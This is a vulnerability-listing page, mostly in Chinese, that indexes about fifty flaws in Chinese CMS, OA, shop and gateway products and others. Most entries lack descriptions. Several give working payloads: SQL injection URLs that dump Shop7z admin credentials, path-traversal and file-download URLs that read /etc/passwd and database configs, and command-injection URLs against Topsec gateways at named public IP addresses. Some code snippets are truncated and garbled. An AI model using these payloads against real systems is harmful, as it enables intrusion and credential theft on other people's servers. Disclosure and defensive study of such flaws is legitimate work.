56796 matches found
zoomla!逐浪cms在/guest/Ask/MyAskList.aspx处的参数QueType存在SQL盲注漏洞
No description provided by source...
Easy File Sharing Web Server 7.2 - GET HTTP request SEH Buffer Overflow
No description provided by source...
泛微oa /iWebOffice/OfficeServer.php /iWebOffice/OfficeServer2.php 任意文件读取漏洞
No description provided by source...
strongSwan远程代码执行漏洞
No description provided by source...
Ruby colorscore gem任意代码执行漏洞
No description provided by source...
JCMS政务系统在/lm/front/mailwrite_over.jsp页面存在任意文件遍历漏洞
No description provided by source...
phpyunV4.0 /app/public/action.class.php SQL注入漏洞
No description provided by source...
Android Bluetooth权限提升漏洞
No description provided by source...
StrongSoft灾害预警系统InfoDetail.aspx ADCD参数SQL注入漏洞
No description provided by source...
RuvarOA协同办公软件Include/get_dict.ashx bt_id参数SQL注入漏洞
No description provided by source...
RuvarRHM select_baseinfo.aspx bt_name参数SQL注入漏洞
0x01 框架介绍 uvarHRM人力资源管理系统，汇集了众多成功企业先进的人力资源管理理念、人力资源管理实践、人力资源信息化系统建设的宝贵经验，以先进的信息技术，实现对企业人力资源信息的高度集成化管理，是适合中国企业使用的人力资源管理解决方案，为现代企业的成长与发展提供了先进、科学、务实的人力资源管理模式。 RuvarHRM采用基于IE浏览器的 B/S 结构，以人员管理、考勤管理、薪资管理、招聘管理、培训管理、合同管理、社保福利、绩效考核、报表中心为核心功能模块，是企业领导、HR经理和员工全员参与的，可多层次管理的集团版eHR系统。 官方主页：http://www.ruvar.com/...
eyou反垃圾邮件网关系统在/php/admin_login.php处存在SQL注入漏洞
No description provided by source...
Shop7z /show.asp pkid参数SQL注入漏洞
exp：show.asp?pkid=4820%20and%201%20=%202%20union%20select%201,2,3,4,5,6,7,suser,9,10,11,12,13,14,15,16,spwd,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42%20from%20Shop7zAdmin...
shop7z Advsearchadmin.asp kindnum参数SQL注入漏洞
code 区域 Advsearchadmin.asp kindnum=trimrequest"kindnum" pipai=trimrequest"pipai" model=trimrequest"model" productname=trimrequest"productname" price11=trimrequest"price11" price12=trimrequest"price12" price21=trimrequest"price21" price22=trimrequest"price22" if price11="" then price11="0" if...
Simple Ads Manager 2.9.4.116 - SQL Injection
No description provided by source...
益用TMS在线培训系统mood/xinqing.aspx id参数SQL注入漏洞
No description provided by source...
Pitivi任意命令执行漏洞
No description provided by source...
Fanwe O2O商业系统index.php处的POST参数topic_id存在SQL注入漏洞
No description provided by source...
Emlog 5.3.1 flash xss
No description provided by source...
Ubuntu Vivid本地提权漏洞
No description provided by source...
Cacti 0.8.8f graphs_new.php SQL注入漏洞
关键代码如下 function formsave if isset$POST"savecomponentgraph" / summarize the 'create graph from host template/snmp index' stuff into an array / while list$var, $val = each$POST if pregmatch'/^cg\d+$/', $var, $matches $selectedgraphs"cg"$matches1$matches1 = true; //cgg is not filtered elseif...
EduWind在线教育建站系统 /cms/article/index/cid/ SQL注入漏洞
No description provided by source...
weaver 0A系统在com.eweaver.base.DataAction处存在任意SQL命令执行漏洞
No description provided by source...
GlassFish 任意文件读取漏洞
java把"%c0%ae"解析为"\uC0AE"，最后转义为ASCCII字符"." 访问如下链接即可看到效果： http://localhost:4848/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd 参考链接： 《漏洞预警：应用服务器glassfish任意文件读取漏洞》 !/usr/bin/env python coding...
金蝶友商在线客服存在任意文件下载漏洞
简要描述： 详细说明： 打开链接：http://im.youshang.com/live800/downlog.jsp?path=/&fileName=/etc/passwd 可以下载passwd文件，内容如下： root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync...
Shop7z show_all.asp SQL注入漏洞
/showall.asp?cid=7685%20%20UNION%20SELECT%201%2C2%2C3%2C%27%21%21%21%27%2bsuser%2b%27%21%21%21%27%2C%27@%27%2bspwd%2b%27@%27%2C6%2C7%2C8%2C9%2C10%2C11%20from%20admin...
QEMU rocker.c 栈缓冲区溢出漏洞
No description provided by source...
Csdjcms在在app/controllers/open.php处存在SQL注入漏洞
No description provided by source...
Shop7z show_foot.asp, showone.asp等文件SQL注入漏洞
问题参数：cid TEST：http://www.125309.com/showfoot.asp?cid=1 code 区域 Place: GET Parameter: cid Type: boolean-based blind Title: Microsoft Access boolean-based blind - Parameter replace original va lue Payload: cid=IIF3932=3932,1,1/0 Type: UNION query Title: Generic UNION query NULL - 11 columns Payload...
SiteFactory CMS的/manage/download.aspx处参数File存在任意文件下载漏洞
No description provided by source...
Android Trustzone 权限提升漏洞
No description provided by source...
Shop7z admin/lipinadd.asp越权访问
No description provided by source...
用友ERP-NC系统/NCFindWeb接口任意文件下载
该漏洞权限比较大，可以获取数据库,/etc/passwd等信息，漏洞存在链接： http://vul/NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml 可以读取到数据库密码，如图： 也可以读取/etc/passwd，如图： 中粮集团，民生电商等大量企业受到影响...
HiShop网上商店系统多版本SQL注入
简要描述： HiShop全称“长沙海商网络技术有限公司”，是国内最大的ASP.NET独立网店服务提供商。长期专注于B2C网上购物软件的研发及相关增值服务的提供。拥有著名网上商店系统品牌——HiShop。公司的主要业务是为中小企业、个人网商及网站站长提供B2C独立购物网站搭建的一站式套餐服务及网店推广、货源提供、个性定制等相关增值服务。 详细说明： 之前提交给wooyun，一直没反应！ 主要是Hishop6.0-Hishop6.1版本存在此处注入，不是开源的，黑盒来吧 关键字: powered by Hishop6.0 powered by Hishop6.1 用量不小，百度搜索看下...
AppCMS v1.3 在index.php存在信息泄漏漏洞
No description provided by source...
Joomla 组件Gallery WD SQL注入漏洞
0x01 漏洞简介 Joomla 组件Gallery WD存在多处SQL注入漏洞。远程攻击者可以利用该漏洞执行任意SQL指令。该插件的下载地址是： http://extensions.joomla.org/extensions/extension/photos-a-images/galleries/gallery-wd 0x02漏洞说明 2.1参数themeid存在GET型SQL注入漏洞 该漏洞利用的POC格式如下： index.php?option=comgallerywd&view=gallerybox&imageid=19&galleryid=2&themeid=1 AND...
多款三星打印机未授权访问缺陷
No description provided by source...
天融信Top App 网关应用bytecache_run_action.php 命令执行
bytecacherunaction.php: code 区域 15 $ipFilterArray$m=dechex$ipFilterArray$m; else $ipFilterArray$m="0".dechex$ipFilterArray$m; $ipFilterNum =$ipFilterArray0.$ipFilterArray1.$ipFilterArray2.$ipFilterArray3; UciUtil::setValue'appex', 'sys', 'BCDebugEngineId',$engine; UciUtil::setValue'appex', 'sys',...
趋势科技杀毒软件任意命令执行漏洞
当用户安装Windows版的趋势科技杀软，默认安装的组件包括了一个密码管理器，安装后会自动启动，密码管理器用JavaScript开发，内置监听localhost的node.js HTTP服务器，会打开多个HTTP RPC端口处理API 请求， 它存在一个任意命令执行漏洞，也就是任何网站都可以在安装趋势科技的电脑上执行命令。 比如运行计算器（https://localhost:49155/api/openUrlInDefaultBrowser?url=c:/windows/system32/calc.exe）。 漏洞发现者说，趋势的软件会关闭 Chromium 41 的沙盒，然后侮辱性的在...
Shop7z /show_foot.asp c_id参数SQL注入漏洞
No description provided by source...
天融信Top-App应用网关 change_lan.php 命令执行
public function set$package,$config,$option,$value $cmd = UCICMD." set ".$package.".".$config.".".$option."='".$value."'"; exec$cmd; http://61.148.24.182:8080/changelan.php...
Discuz X3.2的milu_seotool插件存在本地文件包涵漏洞
0x01漏洞简介 Discuz X3.2的miluseotool插件存在本地文件包涵漏洞。 看见木有有个微信登陆功能，漏洞也出现在这里。无截断所以不鸡肋。 0x02漏洞分析 接下来看代码，文件在source\plugin\wechat\wechat.class.php： static public function redirect$type global $G; $hook = unserialize$G'setting''wechatredirect'; if !$hook || !inarray$hook'plugin', $G'setting''plugins''availabl...
shop7z 商城系统在/Advsearchadmin.asp 处参数kindnum存在SQL注入漏洞
0x01漏洞简介 shop7z商城系统在Advsearchadmin.asp 处的参数kindnum由于过滤不严，存在kindnumSQL注入漏洞。远程攻击者可以利用该漏洞执行任意SQL指令。 0x02漏洞分析 Advsearchadmin.asp代码如下： kindnum=trimrequest"kindnum" pipai=trimrequest"pipai" model=trimrequest"model" productname=trimrequest"productname" price11=trimrequest"price11"...
天融信Topsec系统 getMacAddr.php 命令执行
getMacAddr.php: code 区域 '; ? 跟进getMacAddrFromIfName code 区域 function getMacAddrFromIfName$ifName $mac = execute'cat /sys/class/net/' . trim$ifName . '/address'-get'output'; if$mac != null && $mac != '' return $mac0; else return ''; http://218.206.217.19:8080/acc/network/getMacAddr.php?eth= | echo...
Discuz问卷调查专业版插件参数orderby存在SQL注入漏洞
No description provided by source...
泛微协同商务系统e-cology某处SQL注入（附验证中转脚本）
简要描述： RT 详细说明： 官网http://...//services/ 随便找个吧 以http://...//services/MobileService?wsdl为例 使用wvs checkUserLogin方法 三个参数 分别为字符型、字符型和数字 正确的时候返回3 错误返回4 （本想采用抓包工具（WSockExpert ） 使用某度搜索了一个 评分还挺高 结果系统多了个某度影音 和某度输...
HearOA在/bnuoa/vfs处存在本地文件包含漏洞
No description provided by source...
天融信 Top-App 应用网关 enable_tool_debug.php 命令执行漏洞
No description provided by source...